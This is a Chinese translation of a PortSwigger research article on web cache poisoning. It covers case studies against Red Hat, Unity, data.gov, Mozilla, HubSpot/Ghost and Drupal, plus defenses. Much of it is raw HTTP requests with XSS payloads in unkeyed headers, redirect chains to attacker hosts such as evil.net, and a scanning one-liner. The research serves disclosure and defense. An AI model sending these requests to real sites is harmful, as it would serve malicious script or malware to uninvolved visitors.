Web缓存投毒实践
翻译
原文:https://portswigger.net/research/practical-web-cache-poisoning
- name: 翻译
desc: 原文:https://portswigger.net/research/practical-web-cache-poisoning
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# Web缓存投毒实践
# 1摘要
长期以来,Web 缓存投毒一直是一个难以捉摸的漏洞,是一种 “理论上” 的威胁,主要用于吓唬开发人员乖乖地修补问题,但通常没有人能真正利用这些问题。
在本文中,我将向你展示,如何通过使用复杂的 Web 功能将其缓存转换为漏洞利用,来破坏网站交付系统,危害所有错误访问其主页的人。
我将通过漏洞来说明和开发这种技术,这些漏洞使我能够控制 许多流行的网站和框架,从简易的单请求攻击 发展到 的复杂漏洞利用链,劫持 JavaScript、跨缓存层、破坏社交媒体和误导云服务。最后,我将讨论如何防御缓存投毒,并发布开源的 Burp Suite 社区扩展,通过该扩展推动这项研究。
你也可以观看我关于这项研究的演讲 (opens new window),或将其作为一个可打印的白皮书 (opens new window)仔细阅读。
提示
官方在此处提供了一个YouTuBe的视频链接:https://www.youtube.com/embed/j2RrmNxJZ5c?origin=https://portswigger.net&rel=0 (opens new window)
# 2核心概念
# 2.1缓存101
要掌握缓存投毒,我们需要快速了解一下缓存的基础知识。Web 缓存位于用户和应用程序服务器之间,用于保存和提供某些响应的副本。在下图中,我们可以看到三个用户依次地获取相同的资源:
缓存的目的是减少延迟,从而加快页面加载速度,并减少应用程序服务器上的负载。一些公司使用 Varnish 等软件托管自己的缓存,而另一些公司则选择依赖 Cloudflare 等内容分发网络(CDN),缓存分散在不同的地理位置。此外,一些流行的 Web 应用程序和框架(如 Drupal)具有内置缓存。
还有其他类型的缓存,例如客户端浏览器缓存和 DNS 缓存,但它们不是本研究的重点。
# 2.2缓存键
缓存的概念可能听起来简洁明了,但它隐藏了一些有风险的假设。每当缓存收到对资源的请求时,它都需要做出检查,它是否已经保存了该资源的副本,是否可以回复该请求,或者 是否需要将请求转发到应用程序服务器。
确定 “两个请求是否正在加载同一资源” 可能很棘手;要求整个请求包完全匹配是不太可能的,因为 HTTP 请求充满了无关紧要的数据,例如请求者的浏览器:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://google.com/
Cookie: jessionid=xyz;
Connection: close
缓存通过 “缓存键” 的概念来解决这个问题,缓存键是 HTTP 请求的几个特定组件,用于完全标识所请求的资源。在上面的请求中,我以 橙色 突出显示了典型缓存键中包含的值。
这意味着,缓存认为以下两个请求是等效的,并且会很乐意地使用第一个请求的缓存响应,来响应第二个请求:
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=pl;
Connection: close
HTTP/1.1 200 OK
…
Cookie: language=pl;
GET /blog/post.php?mobile=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 … Firefox/57.0
Cookie: language=en;
Connection: close
HTTP/1.1 200 OK
…
Cookie: language=pl;
因此,该页面将提供 错误的语言 给第二位访问者。这暗示了问题所在——由非缓存键输入触发的响应中,任何差异都可能被存储并提供给其他用户。从理论上讲,站点可以使用 “Vary” 响应标头来指定应该键入的其他请求标头。在实践中,Vary 标头只是以基本方式使用,像 Cloudflare 这样的 CDN 会完全忽略它,人们甚至没有意识到 他们的应用程序 支持任何基于标头的输入。
这会导致大量意外的破坏,当有人故意开始利用它时,乐趣才真正开始。
# 2.3缓存投毒
Web 缓存投毒的目标是发送一个请求,该请求会导致有害响应,然后该响应会被保存在缓存中,并提供给其他用户。
在本文中,我们将使用诸如 HTTP 标头之类的非缓存键输入来毒害缓存。这不是毒害缓存的唯一方法——你还可以使用 HTTP 响应分割和请求走私 (opens new window)——但缓存投毒是最可靠的。请注意,Web 缓存还支持一种不同类型的攻击,称为 Web 缓存欺骗 (opens new window),它不应与缓存投毒混淆。
# 2.4方法
我们将使用以下方法来查找缓存投毒漏洞:
我不会试图深入解释这一点,而是会给出一个快速概述,然后演示它如何应用到真实的网站上。
第一步,识别非缓存键的输入。手动执行此操作非常繁琐,因此我开发了一个名为 Param Miner (opens new window) 的开源 Burp Suite 扩展,它通过猜测 标头/cookie 的名称并观察它们是否对应用程序的响应有影响,从而自动执行此步骤。
找到非缓存键的输入后,下一步是评估你可以用它造成多大面积的损害,然后尝试将它存储在缓存中。如果失败,则你需要更好地了解目标缓存的工作原理,并在重试之前 找到可缓存的目标页面。页面是否被缓存可能基于多种因素,包括文件扩展名、内容类型、路由、状态代码和响应标头。
缓存的响应可以屏蔽非缓存键的输入,因此,如果你试图手动检测 或 探索非缓存键的输入,缓存破坏器是至关重要的。如果加载了 Param Miner,则可以通过向查询字符串添加一个值为$randomplz
的参数,来确保每个请求都具有一个唯一的缓存键。
在检测一个实时网站时,“意外毒害其他访问者” 是一种永久性的危险。Param Miner 会向 Burp 的所有出站请求添加缓存破坏器,从而缓解这种情况。这个缓存破坏器具有一个固定值,因此你可以自己观察缓存行为,而不会影响其他用户。
# 3案例研究
让我们来看看,将该方法应用于真实网站时 会发生什么。像往常一样,对研究人员来说,我专门针对一些具有友好安全策略的网站。这些案例研究是通过《打破透明化-定位HTTP的隐藏攻击面》 (opens new window)中记录的研究路线找到的。这里讨论的所有漏洞都已被报告和修补,但由于 “私人” 程序,我被迫编辑了一些漏洞信息。
我的目标们反应起来好坏参半;Unity 迅速修补了所有内容,并得到了很好的回报。Mozilla 至少修补得很快。而包括 data.gov 和 Ghost 在内的其他人几个月来什么也没做,只是因为即将发布的威胁而打了补丁。
这其中的许多案例研究 都利用了次要漏洞,例如非缓存键输入中的 XSS。但请务必记住,如果没有缓存投毒,此类漏洞将毫无用处,因为目前还没有可靠的方法 可以强制其他用户在跨域请求上 发送自定义标头。这可能就是 为什么次要漏洞如此容易找到 的原因。
# 3.1基本投毒
尽管 缓存投毒 声名狼藉,但它往往很容易被利用。首先,让我们来看看 Red Hat(红帽)的主页。Param Miner 立即发现了一个非缓存键的输入:
GET /en?cb=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://canary/cms/social.png" />
在这里,我们可以看到应用程序使用X-Forwarded-Host
标头在meta
标签内生成了一个开放图谱 URL。下一步是探索它是否可利用——我们将从一个简单的跨站脚本 (opens new window)载荷开始:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
看起来不错——我们刚刚确认了我们可以引起一个响应,该响应将对任何查看它的人执行任意 JavaScript。最后一步,检查此响应是否已被存储在缓存中,以便将其传递给其他用户。不要让Cache Control: no-cache
标头阻碍你——“尝试攻击” 总是比 “假设它不会起作用” 要好。首先,你可以 重新发送没有恶意标头的请求 来验证,然后直接在另一台机器上的浏览器中获取 URL:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
HTTP/1.1 200 OK
…
<meta property="og:image" content="https://a."><script>alert(1)</script>"/>
2
3
4
5
6
这很简单。尽管响应中没有任何 表明存在缓存 的标头,但我们的漏洞显然已被缓存。快速 DNS 查找提供了解释——www.redhat.com
是www.redhat.com.edgekey.net
的 CNAME,表明它使用的是 Akamai 的 CDN。
# 3.2谨慎地投毒
在这一点上,我们已经证明了攻击是可能的,通过毒害https://www.redhat.com/en?dontpoisoneveryone=1
来避免影响网站的实际访问者。为了真正毒害博客的主页,并将我们的漏洞传递给所有后续访问者,我们需要确保 在缓存的响应过期后,向主页发送一个请求。
这可以使用 Burp Intruder 之类的工具或自定义脚本,来发送大量请求,但这种流量大的方法并不微妙。攻击者可以通过对 目标的缓存过期系统 进行逆向工程,并通过仔细阅读文档 和 持续监控站点,来预测确切的过期时间,从而潜在地避免此问题,但这听起来显然像是一项艰苦的工作。
幸运的是,许多网站让我们的生活更轻松。以unity3d.com
中的这个缓存投毒漏洞为例:
GET / HTTP/1.1
Host: unity3d.com
X-Host: portswigger-labs.net
HTTP/1.1 200 OK
Via: 1.1 varnish-v4
Age: 174
Cache-Control: public, max-age=1800
…
<script src="https://portswigger-labs.net/sites/files/foo.js"></script>
2
3
4
5
6
7
8
9
10
我们有一个非缓存键的输入——X-Host
标头——用于生成脚本导入。响应标头Age
和max-age
分别指定当前响应的已用期限,以及其过期的目标期限。总而言之,这些信息告诉我们 应该在哪一秒 发送有效负载,以确保我们的响应被缓存。
# 3.3选择性投毒
HTTP 标头可以提供其他对缓存内部工作的见解,从而帮助你节省时间。以下面这个知名网站为例,该网站正在使用Fastly,可惜无法告知你是哪一个网站(匿名):
GET / HTTP/1.1
Host: redacted.com
User-Agent: Mozilla/5.0 … Firefox/60.0
X-Forwarded-Host: a"><iframe onload=alert(1)>
HTTP/1.1 200 OK
X-Served-By: cache-lhr6335-LHR
Vary: User-Agent, Accept-Encoding
…
<link rel="canonical" href="https://a">a<iframe onload=alert(1)>
</iframe>
这与最初看起来的第一个示例几乎相同。但是,这里的Vary
标头告诉我们,我们的User-Agent
可能是缓存键的一部分,手动测试证实了这一点。这意味着,由于我们声称正在使用 Firefox 60,因此我们的漏洞利用,只会提供给其他使用了 Firefox 60 用户。我们可以使用流行的用户代理列表,来确保大多数访问者收到我们的漏洞利用,这种行为给了我们更多选择性攻击的机会。如果你知道他们的用户代理,你就有可能针对特定的人员定制攻击,甚至在面对网站监控团队时隐藏自身。
# 3.4DOM投毒
利用非缓存键的输入时,并不总是像粘贴 XSS 载荷那样容易。例如以下请求:
GET /dataset HTTP/1.1
Host: catalog.data.gov
X-Forwarded-Host: canary
HTTP/1.1 200 OK
Age: 32707
X-Cache: Hit from cloudfront
…
<body data-site-root="https://canary/">
此时我们已经控制了data-site-root
属性,但我们无法突破它来获取 XSS,也不清楚这个属性的具体用途。为了找出答案,我在 Burp 中创建了一个匹配和替换规则,将X-Forwarded-Host: id.burpcollaborator.net
标头添加到所有请求中,然后依次浏览了该站点。当某些页面加载时,Firefox 向我的服务器发送了一个 JavaScript 生成的请求:
GET /api/i18n/en HTTP/1.1
Host: id.burpcollaborator.net
该路径表明,在网站上的某个地方,有 JavaScript 代码使用了data-site-root
属性,来决定从某个地方加载一些国际化数据。我试图通过获取https://catalog.data.gov/api/i18n/en
来找出这些数据应该是什么样子,但只收到了一个空的 JSON 响应。幸运的是,我将en
更改为es
时得到了一个线索:
GET /api/i18n/es HTTP/1.1
Host: catalog.data.gov
HTTP/1.1 200 OK
…
{"Show more":"Mostrar más"}
2
3
4
5
6
该文件包含了用于 将短语翻译成用户所选语言 的映射。创建我们自己的翻译文件,并通过缓存投毒 将用户指向该文件,我们可以将短语翻译转变为漏洞:
GET /api/i18n/en HTTP/1.1
Host: portswigger-labs.net
HTTP/1.1 200 OK
...
{"Show more":"<svg onload=alert(1)>"}
2
3
4
5
6
最终结果如何?若某个页面中包含 “Show more” 这一文本,则任何浏览过页面的人都会遭受攻击。
# 3.5劫持 Mozilla SHIELD
然后,我为解决一个漏洞,配置了X-Forwarded-Host
匹配 / 替换规则,但它产生了意想不到的效果。除了来自catalog.data.gov
的请求交互之外,我还收到了一些非常神秘的信息:
GET /api/v1/recipe/signed/ HTTP/1.1
Host: xyz.burpcollaborator.net
User-Agent: Mozilla/5.0 … Firefox/57.0
Accept: application/json
origin: null
X-Forwarded-Host: xyz.burpcollaborator.net
2
3
4
5
6
我之前在 CORS 漏洞研究 (opens new window)中遇到过null
源,但我以前从未见过浏览器发出完全小写的Origin
标头。筛选代理历史日志之后我发现,罪魁祸首是 Firefox 本身。Firefox 曾试图获取一个 “扩展” 列表,作为其 SHIELD (opens new window) 系统的一部分,以便为营销和研究目的静默安装扩展。这个系统最出名的可能是强行分发 “Mr Robot” 扩展,引起了消费者的强烈反对 (opens new window)。
(((译者加:你可以看看这篇文章——玩脱了,Firefox 停止推送引发争议的 Mr. Robot 扩展 (opens new window))))
无论如何,看起来X-Forwarded-Host
标头欺骗了这个系统,将 Firefox 定向到我自己的网站,以获取扩展列表:
GET /api/v1/ HTTP/1.1
Host: normandy.cdn.mozilla.net
X-Forwarded-Host: xyz.burpcollaborator.net
HTTP/1.1 200 OK
{
"action-list": "https://xyz.burpcollaborator.net/api/v1/action/",
"action-signed": "https://xyz.burpcollaborator.net/api/v1/action/signed/",
"recipe-list": "https://xyz.burpcollaborator.net/api/v1/recipe/",
"recipe-signed": "https://xyz.burpcollaborator.net/api/v1/recipe/signed/",
…
}
2
3
4
5
6
7
8
9
10
11
12
扩展看起来像这样:
[{
"id": 403,
"last_updated": "2017-12-15T02:05:13.006390Z",
"name": "Looking Glass (take 2)",
"action": "opt-out-study",
"addonUrl": "https://normandy.amazonaws.com/ext/pug.mrrobotshield1.0.4-signed.xpi",
"filter_expression": "normandy.country in ['US', 'CA']\n && normandy.version >= '57.0'\n)",
"description": "MY REALITY IS JUST DIFFERENT THAN YOURS",
}]
2
3
4
5
6
7
8
9
这个系统使用 NGINX 进行缓存,它自然很乐意保存我的中毒响应,并将其提供给其他用户。Firefox 在浏览器打开后不久就会获取这个 URL,并定期重新获取它,最终意味着 Firefox 的数千万日常用户,最终可能会从我的网站上检索扩展列表。
这提供了相当多的可能性。但 Firefox 使用的扩展是经过签名 (opens new window)的,因此我无法安装恶意插件 并 获得完整的代码执行,但我可以将数千万真正的用户引导到我选择的 URL。除了明显的 DDoS 使用之外,如果与适当的内存破坏漏洞相结合,这将非常严重。此外,一些后端 Mozilla 系统使用未签名的扩展,这些扩展可能会被用来 在其基础设施内部 获得立足点,并可能获得扩展签名密钥。此外,我可以重放我选择的旧扩展,这可能会 强制大规模安装 易受攻击的已知旧扩展,或者咱们的机器人先生(Mr Robot)的意外回归。
我向 Mozilla 报告了这一点,他们在 24 小时内修补了他们的基础设施,但对严重性存在一些分歧,因此我只获得了 1,000 美元的赏金。
# 3.6路由毒化
一些应用程序不仅愚蠢地使用标头来生成 URL,还愚蠢地将它们用于内部路由请求:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Server: canary
HTTP/1.1 404 Not Found
CF-Cache-Status: MISS
…
<title>HubSpot - Page not found</title>
<p>The domain canary does not exist in our system.</p>
2
3
4
5
6
7
8
9
Goodhire.com 显然是托管在 HubSpot 上的,HubSpot 将X-Forwarded-Server
标头的优先级置于Host
标头之上,且搞不清楚 这个请求是针对哪个客户端的。虽然我们的输入反馈在页面中,但它是 HTML 编码的,因此直接的 XSS 攻击在这里不起作用。为了利用这一点,我们需要去访问 hubspot.com,为自己注册一个 HubSpot 客户端,在我们的 HubSpot 页面上放置一个有效负载,最后诱骗 HubSpot 在 goodhire.com 上提供此响应:
GET / HTTP/1.1
Host: www.goodhire.com
X-Forwarded-Host: portswigger-labs-4223616.hs-sites.com
HTTP/1.1 200 OK
…
<script>alert(document.domain)</script>
2
3
4
5
6
7
Cloudflare 很高兴地缓存了这个响应,并将其提供给后续访问者。
Inflection 将这份报告传递给了 HubSpot,后者似乎想永久禁止我的 IP 地址来解决这个问题。一段时间后,该漏洞得到了修补。这篇文章发表后,HubSpot 表示他们从未收到过 Inflection 的报告(因此 IP 禁令和补丁都是标准的防御和加固措施),如果我直接联系 HubSpot 并自己披露报告 (opens new window),我会有更好的体验。如果不出意外,这突出了通过第三方报告漏洞的危险。
像这样的内部路由错误漏洞在 SaaS 应用程序上尤为常见,在这些应用程序中,由单个系统来处理 针对许多不同客户 的请求。
# 3.7隐藏的路由毒化
路由中毒漏洞并不总是那么明显:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: canary
HTTP/1.1 302 Found
Location: https://ghost.org/fail/
2
3
4
5
6
Cloudflare 的博客由 Ghost 托管,他们显然正在对X-Forwarded-Host
标头做一些事情。你可以通过指定另一个可识别的主机名(如blog.binary.com
)来避免 “fail” 重定向,但这只会导致一个神秘的 10 秒延迟,然后是标准的blog.cloudflare.com
响应。乍一看,没有明确的方法可以利用这一点。
当用户第一次使用 Ghost 注册博客时,Ghost 会在ghost.io
域名之下向他们颁发一个唯一的子域。博客启动并运行后,用户可以定义一个任意的自定义域,如blog.cloudflare.com
。如果用户定义了自定义域,则其ghost.io
子域将直接重定向到该域:
GET / HTTP/1.1
Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
2
3
4
5
重要的是,这个重定向也可以使用X-Forwarded-Host
头来触发:
GET / HTTP/1.1
Host: blog.cloudflare.com
X-Forwarded-Host: noshandnibble.ghost.io
HTTP/1.1 302 Found
Location: http://noshandnibble.blog/
2
3
4
5
6
通过注册我自己的ghost.org
帐户并设置一个自定义域,我可以将所有发送到blog.cloudflare.com
的请求重定向到我自己的站点(现已过期):wafproxy.net
。这意味着我可以劫持资源负载,例如图像:
重定向 JavaScript 加载以获得对blog.cloudflare.com
的完全控制权,这个合乎逻辑的步骤被一个异常所阻碍——如果你仔细观察重定向,你会发现它使用 HTTP,而博客是通过 HTTPS 加载的。这意味着浏览器的 混合内容保护 会启动并阻止脚本 / 样式表重定向。
我找不到任何技术方法来让 Ghost 发出 HTTPS 重定向,并试图放弃我的想法,并向 Ghost 报告他们使用了 HTTP 而不是 HTTPS 作为漏洞,希望他们能为我解决它。最终,我决定众包一个解决方案,制作一个问题的副本,并将其放置在 hackxor (opens new window) 中,附带现金奖励。第一个解决方案是由 Sajjad Hashemian 发现的,他发现在 Safari 中,如果wafproxy.net
在浏览器的 HSTS 缓存中,重定向将自动升级到 HTTPS,而不是被阻止。Sam Thomas (opens new window) 根据 Manuel Caballero 的工作 (opens new window)为 Edge 提供了一个解决方案——向 HTTPS URL 发出 302 重定向,这完全绕过了 Edge 的混合内容保护。
总的来说,针对 Safari 和 Edge 用户,我可以完全破坏blog.cloudflare.com
、blog.binary.com
和其他所有ghost.org
客户端上的每个页面。针对 Chrome/Firefox 用户,我只能劫持图像。虽然我在上面的屏幕截图中使用了 Cloudflare,但由于这是第三方系统中的问题,所以我选择通过 Binary 报告这一问题,因为他们的漏洞赏金计划支付现金,这与 Cloudflare 不同。
# 3.8链接非缓存键输入
有时,非缓存键的输入只会混淆应用程序堆栈的一部分,你需要链接其他的非缓存键输入,才能实现可利用的结果。以下列网站为例:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: xyz
HTTP/1.1 200 OK
Set-Cookie: locale=en; domain=xyz
2
3
4
5
6
X-Forwarded-Host
标头会覆盖 Cookie 上的域,但不会在响应的其余部分中生成任何 URL。就其本身而言,这是无用的。但是,还有另一个非缓存键的输入:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://redacted.net/en
2
3
4
5
6
这个输入本身也是无用的,但是如果我们将两者结合在一起,就可以将响应转换为 重定向到任意域:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
X-Forwarded-Scheme: nothttps
HTTP/1.1 301 Moved Permanently
Location: https://attacker.com/en
2
3
4
5
6
7
通过使用这种技术,可以重定向 POST 请求从自定义 HTTP 标头中窃取 CSRF (opens new window) 令牌。我还可以加载恶意 JSON 响应,来获取基于存储的 DOM型XSS (opens new window),类似于前面提到的data.gov
漏洞。
# 3.9开放图谱劫持
在另一个站点上,非缓存键的输入仅影响开放图谱 URL:
GET /en HTTP/1.1
Host: redacted.net
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate
…
<meta property="og:url" content='https://attacker.com/en'/>
2
3
4
5
6
7
8
Open Graph(开放图谱) (opens new window)是 Facebook 创建的一个协议,旨在让网站所有者决定,当他们在社交媒体上分享他们的内容时,会发生什么。我们在这里劫持的og:url
参数有效地覆盖了被共享的 URL,因此任何共享了中毒页面的人,实际上都是在共享我们所选择的内容。
你可能已经注意到,应用程序设置了Cache-Control: private
,而 Cloudflare 拒绝缓存此类响应。幸运的是,网站上的其他页面显式地启用了缓存:
GET /popularPage HTTP/1.1
Host: redacted.net
X-Forwarded-Host: evil.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
Set-Cookie: session_id=942…
CF-Cache-Status: MISS
2
3
4
5
6
7
8
此处的CF-Cache-Status
标头表明 Cloudflare 正在考虑缓存此响应,但尽管如此,该响应实际上从未被缓存过。我推测 Cloudflare 拒绝缓存此内容可能与 Cookie 的session_id
有关,在具有该 Cookie 的情况下重试:
GET /popularPage HTTP/1.1
Host: redacted.net
Cookie: session_id=942…;
X-Forwarded-Host: attacker.com
HTTP/1.1 200 OK
Cache-Control: public, max-age=14400
CF-Cache-Status: HIT
…
<meta property="og:url"
content='https://attacker.com/…
2
3
4
5
6
7
8
9
10
11
这最终得到了缓存的响应,尽管后来证明,我可以跳过猜测并阅读 Cloudflare 缓存文档 (opens new window)。
尽管响应被缓存,但 “共享” 结果仍然未被毒害;Facebook 显然没有收到我毒害的特定 Cloudflare 缓存。为了确定我需要毒害哪个缓存,我利用了所有 Cloudflare 站点上提供的有用调试功能——/cdn-cgi/trace
:
在这里,colo=AMS
行显示 Facebook 已通过阿姆斯特丹的缓存访问了wafproxy.net
。目标网站是通过亚特兰大访问的,所以我在那里租了一个 2$/月的 VPS,然后再次尝试投毒:
在此之后,任何试图 在其网站上共享各种页面 的人,最终都会共享我所选择的内容。这是一段经过大量编辑的攻击视频:
# 3.10本地路由毒化
到目前为止,我们已经看到了基于 cookie 的语言劫持,以及使用各种标头覆盖主机的投毒攻击。在研究这一点上,我还发现了一些使用奇怪的非标准标头的变体,例如translate
、bucket
和path_info
,并且我怀疑自己错过了许多其他的变体漏洞。我的下一个重大进展,我通过下载和搜索 GitHub 上排名前 20,000 的 PHP 项目来查找标头名称,从而扩展标头单词列表。
以下展示了覆盖请求路径的标头X-Original-URL
和X-Rewrite-URL
。我首先注意到它们会影响运行了 Drupal 的目标站点,并且深入研究 Drupal 的代码发现,对这个标头的支持来自于流行的 PHP 框架 Symfony,而 Symfony 又从 Zend 获取了代码。最终的结果是,大量的 PHP 应用程序在不知不觉中支持这些标头。在我们尝试使用这些标头进行缓存投毒之前,我应该指出它们也非常适合用于绕过 WAF 和安全规则:
GET /admin HTTP/1.1
Host: unity.com
HTTP/1.1 403 Forbidden
...
Access is denied
2
3
4
5
6
7
GET /anything HTTP/1.1
Host: unity.com
X-Original-URL: /admin
HTTP/1.1 200 OK
...
Please log in
2
3
4
5
6
7
如果应用程序使用缓存,则这些标头可能会被滥用,使程序混淆并提供不正确的页面。例如,此请求的缓存键为/education?x=y
,但程序却会从/gambling?x=y
中检索内容:
最终的结果是,在发送此请求后,任何尝试访问 Unity for Education 页面的人都会得到一个惊喜:
交换页面的能力与其说是严肃的,不如说是有趣的,但它也许在一个更大的利用链中占有一席之地。
# 3.11内部缓存投毒
Drupal 通常与 Varnish 等第三方缓存一起使用,但它同时也包含一个默认启用的内部缓存。这个缓存可识别X-Original-URL
标头,并将其包含在缓存键中,但它同时也错误地包含了此标头中的查询字符串:
虽然上一个攻击允许我们 将路径替换为另一个路径,但这次的攻击允许我们覆盖查询字符串:
GET /search/node?keys=kittens HTTP/1.1
HTTP/1.1 200 OK
…
Search results for 'snuff'
2
3
4
5
这更有希望实现攻击,但它仍然非常有限——我们需要第三种攻击成分。
# 3.12Drupal开放重定向
在阅读 Drupal 的 URL 覆盖代码时,我注意到一个极其危险的特性——在所有重定向响应中,你可以使用查询参数destination
覆盖重定向目标。Drupal 尝试进行一些 URL 解析操作,以确保它不会重定向到外部域,但可以预见的是,这很容易绕过:
GET //?destination=https://evil.net\@unity.com/ HTTP/1.1
Host: unity.com
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
Drupal 在路径中看到双斜杠//
并尝试发出指向根目录/
的重定向,以对其进行规范化,但随后destination
参数开始起作用。Drupal 认为目标 URL 告诉人们使用用户名 “evil.net” 去访问 unity.com,但实际上 Web 浏览器会自动将\
转换为/
,从而将用户置于evil.net/@unity.com
之上。
再一次,开放重定向本身并不令人兴奋,但现在我们终于拥有了一个完整的拼图,可实现利用严重漏洞。
# 3.13持续性重定向劫持
我们可以将 “参数覆盖攻击” 与 “开放重定向” 相结合,以持续劫持任何重定向。Pinterest 商业网站上的某些页面碰巧通过重定向导入 JavaScript。以下请求会毒害缓存条目(以蓝色显示),参数则以橙色显示:
GET /?destination=https://evil.net\@business.pinterest.com/ HTTP/1.1
Host: business.pinterest.com
X-Original-URL: /foo.js?v=1
这劫持了 JavaScript 导入的目标源,使我能够完全控制 business.pinterest.com 上的几个页面,这些页面本应该是静态
GET /foo.js?v=1 HTTP/1.1
HTTP/1.1 302 Found
Location: https://evil.net\@unity.com/
2
3
4
# 3.14嵌套缓存投毒
其他 Drupal 网站则不那么乐于助人,并且不会通过重定向来导入任何重要资源。幸运的是,如果站点使用外部缓存(就像几乎所有高流量的 Drupal 站点一样),我们可以使用内部缓存来毒害外部缓存,并在此过程中将任何响应转换为重定向。这是一个双阶段的攻击。首先,我们要毒害内部缓存,用恶意重定向替换/redir
:
GET /?destination=https://evil.net\@store.unity.com/ HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
接下来,我们毒化外部缓存,将/download?v=1
替换为预先毒害的/redir
:
GET /download?v=1 HTTP/1.1
Host: store.unity.com
X-Original-URL: /redir
最终的结果是,单击 unity.com 上的 “下载安装程序” 时,将会从 evil.net 下载一些伺机而动的恶意软件。这种技术还可用于大量其他攻击,包括将欺骗性条目插入 RSS 摘要、用网络钓鱼页面替换登录页面、以及通过动态脚本来导入存储型 XSS (opens new window)。
下面是一段针对 Drupal 实施此类攻击的视频:
此漏洞已于 2018 年 5 月 29 日披露给 Drupal、Symfony 和 Zend 团队,并且已通过 2018-08-01 的协调补丁版本禁用了对这些标头的支持,参考:SA-CORE-2018-005 (opens new window)、CVE-2018-14773 (opens new window)、ZF2018-01 (opens new window)。
# 4跨云投毒
正如你可能已经猜到的那样,其中一些漏洞报告引发了有趣的反响。
通过 CVSS 对我提交的一个漏洞进行评分,给出了 CloudFront 缓存投毒报告的实现攻击复杂度为 “高”,因为攻击者可能需要租用多个 VPS 才能毒害所有的 CloudFront 缓存。我抵制住了诱惑,没有去争论什么是 “高” 复杂性,我以此为契机,探索在不依赖 VPS 的情况下是否可能进行跨区域攻击。
事实证明,CloudFront 有一个实用的缓存地图,并且可以使用免费的在线服务 (opens new window)轻松识别某个 IP 地址,这些服务会从一系列地理位置发出 DNS 查找。在舒适的卧室里毒害特定区域,就像通过 curl/Burp 的主机名覆盖功能,将你的攻击路由到这些 IP 的其中一个一样简单。
由于 Cloudflare 拥有很多的缓存区域,我决定来看看它们。Cloudflare 在网上发布了他们所有 IP 地址的列表,所以我编写了一个快速脚本,请求这些 IP 中的每一个wafproxy.net/cgn-cgi/trace
,并记录我访问的缓存:
curl https://www.cloudflare.com/ips-v4 | sudo zmap -p80| zgrab --port 80 --data traceReq | fgrep visit_scheme | jq -c '[.ip , .data.read]' cf80scheme | sed -E 's/\["([0-9.]*)".*colo=([A-Z]+).*/\1 \2/' | awk -F " " '!x[$2]++'
这表明,当目标 wafproxy.net(托管在爱尔兰)时,我可以在曼彻斯特的家中访问以下缓存:
104.28.19.112 LHR 172.64.13.163 EWR 198.41.212.78 AMS
172.64.47.124 DME 172.64.32.99 SIN 108.162.253.199 MSP
172.64.9.230 IAD 198.41.238.27 AKL 162.158.145.197 YVR
2
3
# 5常见的陷阱
截至 2021 年,我在这项研究中收到的最常见的问题是,人们发现他们可以使用 Burp Repeater 或代理浏览器复制缓存投毒漏洞,但不能在未代理的浏览器中复制。当你的浏览器和 Burp 发出的请求略有不同时,并且差异点在于请求的缓存键部分时,就会发生这种情况。
(((译者加:浏览器和 BurpSuite 两者发出的请求可能不太一样,如果请求中不同的部分(差异点)刚好是缓存键部分,则投毒可能会失败)))
要确定差异点,请将浏览器控制台中显示的请求与 Logger++ 中记录的请求进行比较。最常见的两个差异原因是:
- Param Miner 启用了 “Add fcbz cachebuster”,它为 Burp 的请求添加了一个静态查询参数
- 服务器已在缓存键中包含了 “Accept-Encoding” 标头。而 BurpSuite 中的
Proxy > Options > Remove unsupported encodings
选项会重写此标头。
通过调整投毒请求,以确保缓存键匹配,可以轻松解决这两种情况。
# 6防御
防止缓存投毒的最可靠防御措施——禁用缓存。但对于某些人来说,这显然是不切实际的建议,但我怀疑相当多的网站想要使用 Cloudflare 等服务进行 DDoS 保护或简单的 SSL,但由于缓存是默认启用的,所以它们最终容易受到缓存投毒的影响。
将缓存限制为纯静态响应 也很有效,前提是你对 “静态” 的定义足够谨慎。
同样,避免从标头和 cookie 中获取输入,是防止缓存投毒的有效方法,但很难知道其他层级和框架 是否在偷偷支持额外的标头。因此,我建议使用 Param Miner 审核应用程序的每个页面,以清除非缓存键的输入。
一旦在应用程序中识别到了非缓存键的输入,理想的解决方案是完全禁用它们。如果做不到这一点,你可以从中剥离缓存层的输入,或将非缓存键输入添加到缓存键中。某些缓存允许你使用Vary
标头来对非缓存键的输入进行键控,而其他缓存允许你自定义缓存键,但可能会将此功能限制为 “企业版” 客户。
最后,无论你的应用程序是否有缓存,你的某些客户端都可能存在一个缓存,因此绝不应忽视 HTTP 标头中的 XSS 等客户端漏洞。
# 7结论
Web 缓存投毒远非理论上的漏洞,臃肿的应用程序 和 高耸的服务器堆栈,正在密谋将其推向大众。我们已经看到,即使是著名的框架,也可能隐藏着危险的、无处不在的功能。由于它是开源的、并且拥有数百万用户,这证实了允许阅读源代码是不安全的。我们还看到,在网站前面放置缓存,会使其从完全安全变为极度脆弱。我认为这是一个更大趋势的一部分,随着网站越来越多地嵌入辅助系统,它们的安全态势越来越难以单独评估。
